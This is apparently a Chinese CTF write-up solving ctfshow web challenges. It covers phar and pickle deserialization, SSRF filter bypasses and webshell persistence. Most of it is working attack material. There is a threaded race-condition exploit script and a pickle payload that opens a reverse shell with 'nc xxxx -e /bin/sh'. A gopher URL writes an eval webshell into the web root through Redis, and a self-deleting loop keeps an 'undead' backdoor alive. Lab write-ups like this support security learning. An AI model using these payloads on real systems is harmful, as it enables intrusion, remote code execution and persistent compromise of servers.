    public function __construct($f,$fn){
        $this->filename=$f;
        $this->filecontent=$fn;
    }
    public function checkevil(){
        if(preg_match('/php|\.\./i', $this->filename)){
            $this->evilfile=true;
        }
        if(preg_match('/flag/i', $this->filecontent)){
            $this->evilfile=true;
        }
        return $this->evilfile;
    }
    public function __destruct(){
        if($this->evilfile && $this->admin){
            system('rm '.$this->filename);
        }
    }
}

if(isset($_GET['fn'])){
    $content = file_get_contents('php://input');
    $f = new filter($_GET['fn'],$content);
    if($f->checkevil()===false){
        file_put_contents($_GET['fn'], $content);
        copy($_GET['fn'],md5(mt_rand()).'.txt');
        unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']);
        echo 'work done';
    }
    
}else{
    echo 'where is flag?';
}

增加了一个admin的认证

并且这里你拿这个admin没办法的。。

思路是phar反序列化,但是由于源码会删除文件,那么就要用条件竞争来玩一玩了。

<?php
class filter 
{
    public $filename = ';cat fl*';
    public $evilfile = true;
    public $admin = true;
}

// 后缀必须为phar
$phar = new Phar("evil.phar");
$phar->startBuffering();
// 设置 stubb, 增加 gif 文件头
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$o = new filter();
/**
 * 将自定义的 meta-data 存入 manifest
 * 这个函数需要在php.ini中修改 phar.readonly 为 Off
 * 否则的话会抛出 
 * creating archive "***.phar" disabled by the php.ini setting phar.readonly 
 * 异常.
 */
$phar->setMetadata($o);
// 添加需压缩的文件
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();

?>
#encoding=gbk
import threading
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

url = "https://3769cb08-d5ff-4f8a-8fda-5eff7c9d5c41.challenge.ctf.show/"
data = open('./evil.phar', 'rb').read()
flag = True
def write():
    requests.post(url+'?fn=evil.phar', data=data,verify=False)
def unserialize():
    global flag
    r = requests.get(url+'?fn=phar://evil.phar',verify=False)
    if 'ctfshow{' in r.text and flag:
        print(r.text)
        flag = False
while flag:
    threading.Thread(target = write).start()
    threading.Thread(target = unserialize).start()

脚本是[这位师傅](ctfshow-web入门-反序列化(web271-web278)_ctfshow web271-CSDN博客)的!

这里跑了半天才跑出来

image-20250723174915266

web277

看看源码注释

<!--/backdoor?data= m=base64.b64decode(data) m=pickle.loads(m) -->

pickle反序列化来的

简单到不行的pickle

import pickle
import base64
class a:
	def __reduce__(self):
		return (eval,("__import__('os').popen('nc xxxx -e /bin/sh').read()",))
obj = a()
code=pickle.dumps(obj)
print(base64.b64encode(code))

直接弹shell,flag就在根目录下(问就是无回显)

web278

题目提示过滤了os.system

然鹅这和我们并没有任何关系

继续弹

SSRF(Complete)

web351

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
?>

直接访问提示非本地用户禁止访问,既然是SSRF那就是在URL里输入127.0.0.1/flag.php

web352

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|127.0.0/')){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?> hacker
parse_url这个是用来处理URL的,把它解析成各个部分后存储到数组里面
并且要求头为http/https
问题来了它这个正则写的一拓实,没waf一样

flag.php一如既往的非本地无法访问,直接加个头就行

http://127.0.0.1/flag.php

web353

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|127\.0\.|\。/i', $url)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?> hacker

对味

那我要用邪门一点的方式来绕过了

http://127.1/flag.php

对于形式这样的ipx.0.0.1可以直接缩写为x.1

同时也可以进制替换

127.0.0.0/8是一个环回地址网段,从127.0.0.1 ~ 127.255.255.254都表示localhost
也就是说http://127.1.1.1/flag.php其实也可以的

web354

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|1|0|。/i', $url)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?>

这里主要的数字都waf了

那么可以有下面几种想法:

域名指向127
302跳转
DNS-Rebinding
    1. 在自己的域名里添加一条A记录指向127.0.0.1
    1. 在自己的网站页面添加
    1. 自己去ceye.io注册绑定127.0.0.1然后记得前面加r
url=http://r.xxxzc8.ceye.io/flag.php

web355

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$host=$x['host'];
if((strlen($host)<=5)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?>

将主机名限制到5位以内,那用缩写格式就行

127.1或者0(其实就是0.0.0.0)

web356

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$host=$x['host'];
if((strlen($host)<=3)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?>

限制到3位以内,127用不了了0可以

web357

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$ip = gethostbyname($x['host']);
echo '</br>'.$ip.'</br>';
if(!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
    die('ip!');
}


echo file_get_contents($_POST['url']);
}
else{
    die('scheme');
}
?>

不是很懂。。

gethostbyname:成功时返回 IPv4 地址,失败时返回主机名。
filter_var() 函数通过指定的过滤器过滤一个变量。
FILTER_FLAG_IPV4 - 要求值是合法的 IPv4 IP(比如 255.255.255.255)。
FILTER_FLAG_IPV6 - 要求值是合法的 IPv6 IP(比如 2001:0db8:85a3:08d3:1319:8a2e:0370:7334)。
FILTER_FLAG_NO_PRIV_RANGE - 要求值不在 RFC 指定的私有范围 IP 内(比如 192.168.0.1)。
FILTER_FLAG_NO_RES_RANGE - 要求值不在保留的 IP 范围内。该标志接受 IPV4 和 IPV6 值。

也就是说这里会验证URL的IP地址不在RFC指定的私有IP范围内(比如 192.168.0.1),且要求值不在保留的IP范围内。

使用DNS重绑定或者用自己的服务器打302

这里可以用第一个,因为有个快捷的网站

https://lock.cmpxchg8b.com/rebinder.html?tdsourcetag=s_pctim_aiomsg

可以直接重绑定,你输一个不会触发内网ip验证的就可以,发包三次就可以拿到flag

分别是:127.0.0.1 ip!
1.1.1.1(我重绑定的ip
1.1.1.1 flag

为什么是三次?我也不知道,调试一下看看好了

但是怪就怪在我自己调是只有爆ip的,出不来。。

web358

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if(preg_match('/^http:\/\/ctf\..*show$/i',$url)){
    echo file_get_contents($url);
}

要用http://ctf开头show结尾

这里利用@

在URL中,@符号通常用于在基本认证(Basic Authentication)中,将用户名和密码包含在URL中。这种用法的格式是:
http://username:password@hostname/path
在这个格式中,username:password 是登录所需的凭据,@ 符号用来分隔凭据和主机名。然而,这种做法在现代网络应用中不推荐使用,因为它容易导致安全问题,比如泄露用户凭据。
POC:
url=http://ctf.com@127.0.0.1/flag.php#show
url=http://ctf.com@127.0.0.1/flag.php?show

web359

打无密码的mysql

随便输一下转到check.php

看到POST:returl=https://404.chall.ctf.show/&u=admin

那看来这边可以写马发gopher包了

这里介绍一个工具gopherushttps://github.com/tarunkant/Gopherus.git

image-20250710143949440

_后面的部分记得二次URL编码(因为发送过去时会被编码一次)

写入成功直接连即可

web360

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
?>

看似平平无奇,实则暗藏杀机。。

file://协议读不出东西

尝试用dict://探测一下端口

最后发现redis的端口是开放的

gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2431%0D%0A%0A%0A%3C%3Fphp%20%40eval%28%24_POST%5Bcmd%5D%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A

记得把_后边编码

接着POST一下,这里不知道为什么POST会卡住然后报错504

但是shell.php是存在的,不知道为什么啊。。希望有大佬可以解答一下

最后直接命令执行即可,喜欢蚁剑也可以

权限维持

web670

system('echo "<?php eval($_POST[cmd]);?>" >shell.php');
var_dump(getcwd()); =>/var/www/html

之后发现无法连上

cmd=system("tac shell.php");一看没有内容啊。。

看了下其他师傅的博客感觉我思路错了,这里是用file_put_contents来执行

cmd=file_put_contents('shell.php','<?php @eval($_POST[cmd]);?>');
在源码里可以看到成功写入

但是连不上啊。。后来找了原因发现要在蚁剑里设置忽略https证书

然后check发现把目录清光了。。

草拟吗不死马,来

<?php
    ignore_user_abort(true);
    set_time_limit(0);
    unlink(__FILE__);
    $file = 'shell.php';
    $code = '<?php @eval($_POST[1]);?>';
    while (1) {
        file_put_contents($file, $code);
        usleep(5000);
    }
?>
file_put_contents('17.php', '<?php ignore_user_abort(true);set_time_limit(0);unlink(__FILE__);$file = \'shell.php\';$code = \'<?php @eval($_POST[1]);?>\';while (1) {file_put_contents($file, $code);usleep(5000);}?>');

解析一下

set_time_limit()函数:设置允许脚本运行的时间,单位为秒(如果设置该运行时间,sleep()函数在执行程序时的持续时间将会被忽略掉)
ignore_user_abort()函数:函数设置与客户机断开是否会终止脚本的执行(如果设置为True或者1,则忽略与用户的断开)
unlink(FILE)函数:删除文件(防止文件落地被检测工具查杀)
file_put_contents函数:将一个字符串写入该文件中
usleep函数:延迟执行当前脚本数微秒,即条件竞争